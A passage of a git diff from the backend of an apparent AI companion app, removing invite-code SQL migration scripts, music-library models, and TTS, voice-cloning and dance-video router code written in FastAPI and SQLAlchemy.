MODIFY COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT '被谁邀请(邀请码)';
|
||||
|
||||
-- 修复 invite_reward_total 字段类型(从 int 改为 decimal(10,2))
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额';
|
||||
|
||||
-- 确保 invite_code 字段有注释
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT '邀请码';
|
||||
|
||||
-- 确保 invite_count 字段有注释
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT '邀请人数';
|
||||
|
||||
-- 验证修复结果
|
||||
SELECT
|
||||
COLUMN_NAME AS '字段名',
|
||||
COLUMN_TYPE AS '类型',
|
||||
IS_NULLABLE AS '可空',
|
||||
COLUMN_DEFAULT AS '默认值',
|
||||
COLUMN_COMMENT AS '注释'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
|
||||
ORDER BY ORDINAL_POSITION;
|
||||
|
||||
-- 显示修复后的索引信息
|
||||
SELECT
|
||||
INDEX_NAME AS '索引名',
|
||||
COLUMN_NAME AS '列名',
|
||||
NON_UNIQUE AS '非唯一',
|
||||
INDEX_TYPE AS '索引类型'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME IN ('idx_invite_code', 'idx_invited_by')
|
||||
ORDER BY INDEX_NAME, SEQ_IN_INDEX;
|
||||
|
||||
-- 显示成功消息
|
||||
SELECT '✅ 邀请码字段类型修复完成!' AS '状态';
|
||||
|
|
@ -1,123 +0,0 @@
|
|||
-- 修复邀请码功能 - 检查并添加缺失的字段和索引
|
||||
-- 执行时间:2026-02-03
|
||||
|
||||
USE fastadmin;
|
||||
|
||||
-- 检查并添加 invite_code 字段(如果不存在)
|
||||
SET @col_exists = 0;
|
||||
SELECT COUNT(*) INTO @col_exists
|
||||
FROM INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME = 'invite_code';
|
||||
|
||||
SET @sql = IF(@col_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT ''邀请码'' AFTER `vip_endtime`',
|
||||
'SELECT ''invite_code 字段已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查并添加 invited_by 字段(如果不存在)
|
||||
SET @col_exists = 0;
|
||||
SELECT COUNT(*) INTO @col_exists
|
||||
FROM INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME = 'invited_by';
|
||||
|
||||
SET @sql = IF(@col_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT ''被谁邀请(邀请码)'' AFTER `invite_code`',
|
||||
'SELECT ''invited_by 字段已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查并添加 invite_count 字段(如果不存在)
|
||||
SET @col_exists = 0;
|
||||
SELECT COUNT(*) INTO @col_exists
|
||||
FROM INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME = 'invite_count';
|
||||
|
||||
SET @sql = IF(@col_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT ''邀请人数'' AFTER `invited_by`',
|
||||
'SELECT ''invite_count 字段已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查并添加 invite_reward_total 字段(如果不存在)
|
||||
SET @col_exists = 0;
|
||||
SELECT COUNT(*) INTO @col_exists
|
||||
FROM INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME = 'invite_reward_total';
|
||||
|
||||
SET @sql = IF(@col_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT ''邀请奖励总额'' AFTER `invite_count`',
|
||||
'SELECT ''invite_reward_total 字段已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查并添加 invite_code 唯一索引(如果不存在)
|
||||
SET @index_exists = 0;
|
||||
SELECT COUNT(*) INTO @index_exists
|
||||
FROM INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME = 'idx_invite_code';
|
||||
|
||||
SET @sql = IF(@index_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD UNIQUE INDEX `idx_invite_code` (`invite_code`)',
|
||||
'SELECT ''idx_invite_code 索引已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查并添加 invited_by 索引(如果不存在)
|
||||
SET @index_exists = 0;
|
||||
SELECT COUNT(*) INTO @index_exists
|
||||
FROM INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME = 'idx_invited_by';
|
||||
|
||||
SET @sql = IF(@index_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD INDEX `idx_invited_by` (`invited_by`)',
|
||||
'SELECT ''idx_invited_by 索引已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 显示最终的字段信息
|
||||
SELECT
|
||||
COLUMN_NAME AS '字段名',
|
||||
COLUMN_TYPE AS '类型',
|
||||
IS_NULLABLE AS '可空',
|
||||
COLUMN_DEFAULT AS '默认值',
|
||||
COLUMN_COMMENT AS '注释'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
|
||||
ORDER BY ORDINAL_POSITION;
|
||||
|
||||
-- 显示索引信息
|
||||
SELECT
|
||||
INDEX_NAME AS '索引名',
|
||||
COLUMN_NAME AS '列名',
|
||||
NON_UNIQUE AS '非唯一',
|
||||
INDEX_TYPE AS '索引类型'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME IN ('idx_invite_code', 'idx_invited_by')
|
||||
ORDER BY INDEX_NAME, SEQ_IN_INDEX;
|
||||
|
|
@ -1,73 +0,0 @@
|
|||
-- 测试邀请码功能
|
||||
-- 执行时间:2026-02-03
|
||||
|
||||
USE fastadmin;
|
||||
|
||||
-- 1. 查看当前用户的邀请码信息
|
||||
SELECT
|
||||
id,
|
||||
username,
|
||||
nickname,
|
||||
invite_code AS '邀请码',
|
||||
invited_by AS '被谁邀请',
|
||||
invite_count AS '邀请人数',
|
||||
invite_reward_total AS '邀请奖励',
|
||||
money AS '金币余额'
|
||||
FROM nf_user
|
||||
WHERE id IN (
|
||||
SELECT id FROM nf_user
|
||||
ORDER BY id DESC
|
||||
LIMIT 10
|
||||
)
|
||||
ORDER BY id DESC;
|
||||
|
||||
-- 2. 查看有邀请码的用户
|
||||
SELECT
|
||||
id,
|
||||
username,
|
||||
nickname,
|
||||
invite_code AS '邀请码',
|
||||
invite_count AS '邀请人数',
|
||||
invite_reward_total AS '邀请奖励',
|
||||
money AS '金币余额'
|
||||
FROM nf_user
|
||||
WHERE invite_code IS NOT NULL
|
||||
ORDER BY invite_count DESC, id DESC
|
||||
LIMIT 20;
|
||||
|
||||
-- 3. 查看使用了邀请码的用户
|
||||
SELECT
|
||||
id,
|
||||
username,
|
||||
nickname,
|
||||
invited_by AS '使用的邀请码',
|
||||
money AS '金币余额',
|
||||
createtime AS '注册时间'
|
||||
FROM nf_user
|
||||
WHERE invited_by IS NOT NULL
|
||||
ORDER BY id DESC
|
||||
LIMIT 20;
|
||||
|
||||
-- 4. 查看邀请相关的金币日志
|
||||
SELECT
|
||||
l.id,
|
||||
l.user_id AS '用户ID',
|
||||
u.username AS '用户名',
|
||||
l.money AS '金币变动',
|
||||
l.before AS '变动前',
|
||||
l.after AS '变动后',
|
||||
l.memo AS '备注',
|
||||
FROM_UNIXTIME(l.createtime) AS '时间'
|
||||
FROM nf_user_money_log l
|
||||
LEFT JOIN nf_user u ON l.user_id = u.id
|
||||
WHERE l.memo LIKE '%邀请%'
|
||||
ORDER BY l.createtime DESC
|
||||
LIMIT 20;
|
||||
|
||||
-- 5. 统计邀请数据
|
||||
SELECT
|
||||
COUNT(DISTINCT CASE WHEN invite_code IS NOT NULL THEN id END) AS '有邀请码的用户数',
|
||||
COUNT(DISTINCT CASE WHEN invited_by IS NOT NULL THEN id END) AS '使用邀请码的用户数',
|
||||
SUM(CASE WHEN invite_code IS NOT NULL THEN invite_count ELSE 0 END) AS '总邀请人数',
|
||||
SUM(CASE WHEN invite_code IS NOT NULL THEN invite_reward_total ELSE 0 END) AS '总邀请奖励'
|
||||
FROM nf_user;
|
||||
|
|
@ -26,7 +26,6 @@ class User(Base):
|
|||
chat_used_today = Column(Integer, default=0)
|
||||
chat_reset_date = Column(Date)
|
||||
video_gen_remaining = Column(Integer, default=0)
|
||||
video_gen_reset_date = Column(Date)
|
||||
inner_voice_enabled = Column(Boolean, default=False)
|
||||
outfit_slots = Column(Integer, default=5)
|
||||
owned_outfit_ids = Column(JSON)
|
||||
|
|
@ -101,8 +100,6 @@ class SingSongVideo(Base):
|
|||
user_id = Column(BigInteger, nullable=False)
|
||||
lover_id = Column(BigInteger, nullable=False)
|
||||
song_id = Column(BigInteger, nullable=False)
|
||||
music_library_id = Column(BigInteger) # 音乐库ID(如果来自音乐库)
|
||||
music_source = Column(String(20), default="system") # system=系统歌曲, library=音乐库
|
||||
base_video_id = Column(BigInteger)
|
||||
audio_url = Column(String(255), nullable=False)
|
||||
audio_hash = Column(String(64), nullable=False)
|
||||
|
|
@ -424,38 +421,6 @@ class OutfitItem(Base):
|
|||
updatetime = Column(BigInteger)
|
||||
|
||||
|
||||
class MusicLibrary(Base):
|
||||
__tablename__ = "nf_music_library"
|
||||
|
||||
id = Column(BigInteger, primary_key=True, autoincrement=True)
|
||||
user_id = Column(BigInteger, nullable=False, index=True)
|
||||
title = Column(String(255), nullable=False)
|
||||
artist = Column(String(255))
|
||||
music_url = Column(String(500), nullable=False)
|
||||
cover_url = Column(String(500))
|
||||
duration = Column(Integer)
|
||||
upload_type = Column(String(20), nullable=False, default="link") # file, link, external
|
||||
external_platform = Column(String(20)) # netease, qq, kugou, kuwo
|
||||
external_id = Column(String(100))
|
||||
external_url = Column(String(500))
|
||||
is_public = Column(Integer, nullable=False, default=1)
|
||||
play_count = Column(Integer, nullable=False, default=0)
|
||||
like_count = Column(Integer, nullable=False, default=0)
|
||||
status = Column(String(20), nullable=False, default="approved") # pending, approved, rejected
|
||||
created_at = Column(DateTime, nullable=False, default=datetime.utcnow)
|
||||
updated_at = Column(DateTime, nullable=False, default=datetime.utcnow, onupdate=datetime.utcnow)
|
||||
deleted_at = Column(DateTime)
|
||||
|
||||
|
||||
class MusicLike(Base):
|
||||
__tablename__ = "nf_music_likes"
|
||||
|
||||
id = Column(BigInteger, primary_key=True, autoincrement=True)
|
||||
user_id = Column(BigInteger, nullable=False, index=True)
|
||||
music_id = Column(BigInteger, nullable=False, index=True)
|
||||
created_at = Column(DateTime, nullable=False, default=datetime.utcnow)
|
||||
|
||||
|
||||
class OutfitLook(Base):
|
||||
__tablename__ = "nf_outfit_looks"
|
||||
|
||||
|
|
|
|||
|
|
@ -9,4 +9,3 @@ requests>=2.31
|
|||
oss2>=2.18
|
||||
dashscope>=1.20
|
||||
pyyaml>=6.0
|
||||
imageio-ffmpeg>=0.4
|
||||
|
|
|
|||
|
|
@ -18,7 +18,3 @@ class ApiResponse(BaseModel, Generic[T]):
|
|||
|
||||
def success_response(data: Optional[T] = None, msg: str = "ok") -> ApiResponse[T]:
|
||||
return ApiResponse[T](code=1, msg=msg, data=data)
|
||||
|
||||
|
||||
def error_response(msg: str = "error", code: int = 0, data: Optional[T] = None) -> ApiResponse[T]:
|
||||
return ApiResponse[T](code=code, msg=msg, data=data)
|
||||
|
|
|
|||
BIN
lover/routers/__pycache__/__init__.cpython-313.pyc
Normal file
BIN
lover/routers/__pycache__/__init__.cpython-313.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/__init__.cpython-314.pyc
Normal file
BIN
lover/routers/__pycache__/__init__.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/chat.cpython-313.pyc
Normal file
BIN
lover/routers/__pycache__/chat.cpython-313.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/chat.cpython-314.pyc
Normal file
BIN
lover/routers/__pycache__/chat.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/config.cpython-313.pyc
Normal file
BIN
lover/routers/__pycache__/config.cpython-313.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/config.cpython-314.pyc
Normal file
BIN
lover/routers/__pycache__/config.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/dance.cpython-313.pyc
Normal file
BIN
lover/routers/__pycache__/dance.cpython-313.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/dance.cpython-314.pyc
Normal file
BIN
lover/routers/__pycache__/dance.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/dynamic.cpython-313.pyc
Normal file
BIN
lover/routers/__pycache__/dynamic.cpython-313.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/dynamic.cpython-314.pyc
Normal file
BIN
lover/routers/__pycache__/dynamic.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/lover.cpython-313.pyc
Normal file
BIN
lover/routers/__pycache__/lover.cpython-313.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/lover.cpython-314.pyc
Normal file
BIN
lover/routers/__pycache__/lover.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/outfit.cpython-313.pyc
Normal file
BIN
lover/routers/__pycache__/outfit.cpython-313.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/outfit.cpython-314.pyc
Normal file
BIN
lover/routers/__pycache__/outfit.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/sing.cpython-313.pyc
Normal file
BIN
lover/routers/__pycache__/sing.cpython-313.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/sing.cpython-314.pyc
Normal file
BIN
lover/routers/__pycache__/sing.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/voice_call.cpython-313.pyc
Normal file
BIN
lover/routers/__pycache__/voice_call.cpython-313.pyc
Normal file
Binary file not shown.
BIN
lover/routers/__pycache__/voice_call.cpython-314.pyc
Normal file
BIN
lover/routers/__pycache__/voice_call.cpython-314.pyc
Normal file
Binary file not shown.
|
|
@ -4,7 +4,7 @@ import re
|
|||
import random
|
||||
|
||||
import oss2
|
||||
from fastapi import APIRouter, Depends, HTTPException, Query, Request
|
||||
from fastapi import APIRouter, Depends, HTTPException, Query
|
||||
from pydantic import BaseModel, Field
|
||||
from sqlalchemy import desc
|
||||
from sqlalchemy.orm import Session
|
||||
|
|
@ -474,7 +474,7 @@ def _pick_available_voice(db: Session, lover: Lover, user_row: User) -> VoiceLib
|
|||
return candidate
|
||||
|
||||
|
||||
def _upload_tts_to_oss(file_bytes: bytes, lover_id: int, message_id: int, request: Request = None) -> str:
|
||||
def _upload_tts_to_oss(file_bytes: bytes, lover_id: int, message_id: int) -> str:
|
||||
"""
|
||||
上传 TTS 音频文件。
|
||||
优先使用 OSS,如果未配置则保存到本地。
|
||||
|
|
@ -520,16 +520,8 @@ def _upload_tts_to_oss(file_bytes: bytes, lover_id: int, message_id: int, reques
|
|||
with open(file_path, "wb") as f:
|
||||
f.write(file_bytes)
|
||||
|
||||
# 自动检测请求来源,生成正确的 URL
|
||||
if request:
|
||||
# 从请求头获取 Host
|
||||
host = request.headers.get("host", "127.0.0.1:8000")
|
||||
scheme = "https" if request.url.scheme == "https" else "http"
|
||||
backend_url = f"{scheme}://{host}"
|
||||
else:
|
||||
# 降级使用环境变量
|
||||
backend_url = os.getenv("BACKEND_URL", "http://127.0.0.1:8000")
|
||||
|
||||
# 返回完整 URL(使用环境变量配置的后端地址)
|
||||
backend_url = os.getenv("BACKEND_URL", "http://127.0.0.1:8000")
|
||||
return f"{backend_url.rstrip('/')}/tts/{lover_id}/{message_id}.mp3"
|
||||
except Exception as exc:
|
||||
raise HTTPException(status_code=500, detail=f"保存语音文件失败: {exc}") from exc
|
||||
|
|
@ -661,7 +653,6 @@ def list_messages(
|
|||
@router.post("/messages/tts/{message_id}", response_model=ApiResponse[TTSOut])
|
||||
def generate_message_tts(
|
||||
message_id: int,
|
||||
request: Request,
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
|
|
@ -715,7 +706,7 @@ def generate_message_tts(
|
|||
model=model,
|
||||
voice=voice.voice_code,
|
||||
)
|
||||
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id, request)
|
||||
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id)
|
||||
except HTTPException as exc:
|
||||
detail_text = str(exc.detail) if hasattr(exc, "detail") else str(exc)
|
||||
fallback_done = False
|
||||
|
|
@ -730,7 +721,7 @@ def generate_message_tts(
|
|||
model=fallback_model,
|
||||
voice=fallback_voice,
|
||||
)
|
||||
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id, request)
|
||||
url = _upload_tts_to_oss(audio_bytes, lover.id, msg.id)
|
||||
msg.tts_voice_id = None # 兜底音色不绑定库ID
|
||||
msg.tts_model_id = fallback_model
|
||||
fallback_done = True
|
||||
|
|
|
|||
|
|
@ -505,24 +505,9 @@ def save_cloned_voice(
|
|||
db.add(new_voice)
|
||||
db.flush()
|
||||
|
||||
# 将克隆的音色添加到用户的拥有列表中
|
||||
user_row = db.query(User).filter(User.id == user.id).first()
|
||||
if user_row:
|
||||
owned_ids = _parse_owned_voices(user_row.owned_voice_ids)
|
||||
owned_ids.add(new_voice.id)
|
||||
user_row.owned_voice_ids = ",".join(map(str, sorted(owned_ids)))
|
||||
db.add(user_row)
|
||||
|
||||
# 自动设置为恋人的当前音色
|
||||
if lover:
|
||||
lover.voice_id = new_voice.id
|
||||
db.add(lover)
|
||||
|
||||
db.flush()
|
||||
|
||||
return success_response({
|
||||
"voice_library_id": new_voice.id,
|
||||
"message": "音色保存成功并已设置为当前音色",
|
||||
"message": "音色保存成功",
|
||||
"display_name": display_name
|
||||
})
|
||||
|
||||
|
|
|
|||
|
|
@ -1,7 +1,6 @@
|
|||
import hashlib
|
||||
import os
|
||||
import random
|
||||
import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
import time
|
||||
|
|
@ -28,240 +27,11 @@ from ..models import (
|
|||
)
|
||||
from ..response import ApiResponse, success_response
|
||||
|
||||
try:
|
||||
import imageio_ffmpeg # type: ignore
|
||||
except Exception: # pragma: no cover
|
||||
imageio_ffmpeg = None
|
||||
|
||||
router = APIRouter(prefix="/dance", tags=["dance"])
|
||||
|
||||
|
||||
def _ffmpeg_bin() -> str:
|
||||
found = shutil.which("ffmpeg")
|
||||
if found:
|
||||
return found
|
||||
if imageio_ffmpeg is not None:
|
||||
try:
|
||||
return imageio_ffmpeg.get_ffmpeg_exe()
|
||||
except Exception:
|
||||
pass
|
||||
return "ffmpeg"
|
||||
|
||||
|
||||
def _ffprobe_bin() -> str:
|
||||
found = shutil.which("ffprobe")
|
||||
if found:
|
||||
return found
|
||||
if imageio_ffmpeg is not None:
|
||||
try:
|
||||
ffmpeg_path = imageio_ffmpeg.get_ffmpeg_exe()
|
||||
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe.exe")
|
||||
if os.path.exists(candidate):
|
||||
return candidate
|
||||
candidate = os.path.join(os.path.dirname(ffmpeg_path), "ffprobe")
|
||||
if os.path.exists(candidate):
|
||||
return candidate
|
||||
except Exception:
|
||||
pass
|
||||
return "ffprobe"
|
||||
|
||||
DANCE_TARGET_DURATION_SEC = 10
|
||||
|
||||
|
||||
@router.get("/history", response_model=ApiResponse[list[dict]])
|
||||
def get_dance_history(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
page: int = 1,
|
||||
size: int = 20,
|
||||
):
|
||||
"""
|
||||
获取用户的跳舞视频历史记录。
|
||||
"""
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
offset = (page - 1) * size
|
||||
tasks = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.lover_id == lover.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.payload["prompt"].as_string().isnot(None),
|
||||
GenerationTask.status == "succeeded",
|
||||
GenerationTask.result_url.isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size)
|
||||
.all()
|
||||
)
|
||||
|
||||
result: list[dict] = []
|
||||
for task in tasks:
|
||||
payload = task.payload or {}
|
||||
result.append(
|
||||
{
|
||||
"id": task.id,
|
||||
"prompt": payload.get("prompt") or "",
|
||||
"video_url": _cdnize(task.result_url) or "",
|
||||
"created_at": task.created_at.isoformat() if task.created_at else None,
|
||||
}
|
||||
)
|
||||
|
||||
return success_response(result, msg="获取成功")
|
||||
|
||||
|
||||
def _download_binary(url: str) -> bytes:
|
||||
try:
|
||||
resp = requests.get(url, timeout=30)
|
||||
except Exception as exc:
|
||||
raise HTTPException(status_code=502, detail="文件下载失败") from exc
|
||||
if resp.status_code != 200:
|
||||
raise HTTPException(status_code=502, detail="文件下载失败")
|
||||
return resp.content
|
||||
|
||||
|
||||
def _retry_finalize_dance_task(task_id: int) -> None:
|
||||
"""任务失败但 DashScope 端已成功时,尝试重新下载视频并重新上传(自愈/手动重试共用)。"""
|
||||
try:
|
||||
with SessionLocal() as db:
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(GenerationTask.id == task_id)
|
||||
.with_for_update()
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
return
|
||||
payload = task.payload or {}
|
||||
dash_id = payload.get("dashscope_task_id")
|
||||
if not dash_id:
|
||||
return
|
||||
|
||||
status, dash_video_url = _fetch_dashscope_status(str(dash_id))
|
||||
if status != "SUCCEEDED" or not dash_video_url:
|
||||
return
|
||||
|
||||
# 重新生成:下载 dashscope 视频 -> 随机 BGM -> 合成 -> 上传
|
||||
bgm_song = _pick_random_bgm(db)
|
||||
bgm_audio_url_raw = bgm_song.audio_url
|
||||
bgm_audio_url = _cdnize(bgm_audio_url_raw) or bgm_audio_url_raw
|
||||
merged_bytes, bgm_meta = _merge_dance_video_with_bgm(
|
||||
dash_video_url,
|
||||
bgm_audio_url,
|
||||
DANCE_TARGET_DURATION_SEC,
|
||||
)
|
||||
object_name = f"lover/{task.lover_id}/dance/{int(time.time())}_retry.mp4"
|
||||
oss_url = _upload_to_oss(merged_bytes, object_name)
|
||||
|
||||
task.status = "succeeded"
|
||||
task.result_url = oss_url
|
||||
task.error_msg = None
|
||||
task.payload = {
|
||||
**payload,
|
||||
"dashscope_video_url": dash_video_url,
|
||||
"bgm_song_id": bgm_song.id,
|
||||
"bgm_audio_url": bgm_audio_url,
|
||||
"bgm_audio_url_raw": bgm_audio_url_raw,
|
||||
"bgm_start_sec": bgm_meta.get("bgm_start_sec"),
|
||||
"bgm_duration": DANCE_TARGET_DURATION_SEC,
|
||||
"retry_finalized": True,
|
||||
}
|
||||
task.updated_at = datetime.utcnow()
|
||||
db.add(task)
|
||||
db.commit()
|
||||
except Exception:
|
||||
return
|
||||
|
||||
|
||||
@router.post("/retry/{task_id}", response_model=ApiResponse[dict])
|
||||
def retry_dance_task(
|
||||
task_id: int,
|
||||
background_tasks: BackgroundTasks,
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
"""手动重试:用于 DashScope 端已成功但本地下载/合成/上传失败导致任务失败的情况。"""
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.id == task_id,
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.lover_id == lover.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.payload["prompt"].as_string().isnot(None),
|
||||
)
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
raise HTTPException(status_code=404, detail="任务不存在")
|
||||
|
||||
payload = task.payload or {}
|
||||
dash_id = payload.get("dashscope_task_id")
|
||||
if not dash_id:
|
||||
raise HTTPException(status_code=400, detail="任务缺少 dashscope_task_id,无法重试")
|
||||
|
||||
task.payload = {**payload, "manual_retry": True}
|
||||
task.updated_at = datetime.utcnow()
|
||||
db.add(task)
|
||||
db.commit()
|
||||
|
||||
background_tasks.add_task(_retry_finalize_dance_task, int(task.id))
|
||||
return success_response({"task_id": int(task.id)}, msg="已触发重试")
|
||||
|
||||
|
||||
@router.get("/history/all", response_model=ApiResponse[list[dict]])
|
||||
def get_dance_history_all(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
page: int = 1,
|
||||
size: int = 20,
|
||||
):
|
||||
"""获取用户的跳舞视频全部历史记录(成功+失败+进行中)。"""
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
offset = (page - 1) * size
|
||||
tasks = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.lover_id == lover.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.payload["prompt"].as_string().isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size)
|
||||
.all()
|
||||
)
|
||||
|
||||
result: list[dict] = []
|
||||
for task in tasks:
|
||||
payload = task.payload or {}
|
||||
url = task.result_url or payload.get("video_url") or payload.get("dashscope_video_url") or ""
|
||||
result.append(
|
||||
{
|
||||
"id": int(task.id),
|
||||
"prompt": payload.get("prompt") or "",
|
||||
"status": task.status,
|
||||
"video_url": _cdnize(url) or "",
|
||||
"error_msg": task.error_msg,
|
||||
"created_at": task.created_at.isoformat() if task.created_at else None,
|
||||
}
|
||||
)
|
||||
|
||||
return success_response(result, msg="获取成功")
|
||||
|
||||
|
||||
class DanceGenerateIn(BaseModel):
|
||||
prompt: str = Field(..., min_length=2, max_length=400, description="用户希望跳的舞/动作描述")
|
||||
|
||||
|
|
@ -277,41 +47,6 @@ class DanceTaskStatusOut(BaseModel):
|
|||
error_msg: Optional[str] = None
|
||||
|
||||
|
||||
@router.get("/current", response_model=ApiResponse[Optional[DanceTaskStatusOut]])
|
||||
def get_current_dance_task(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
):
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.status.in_(["pending", "running"]),
|
||||
GenerationTask.payload["prompt"].as_string().isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
return success_response(None, msg="暂无进行中的任务")
|
||||
|
||||
payload = task.payload or {}
|
||||
return success_response(
|
||||
DanceTaskStatusOut(
|
||||
generation_task_id=task.id,
|
||||
status=task.status,
|
||||
dashscope_task_id=str(payload.get("dashscope_task_id") or ""),
|
||||
video_url=task.result_url or payload.get("video_url") or payload.get("dashscope_video_url") or "",
|
||||
session_id=int(payload.get("session_id") or 0),
|
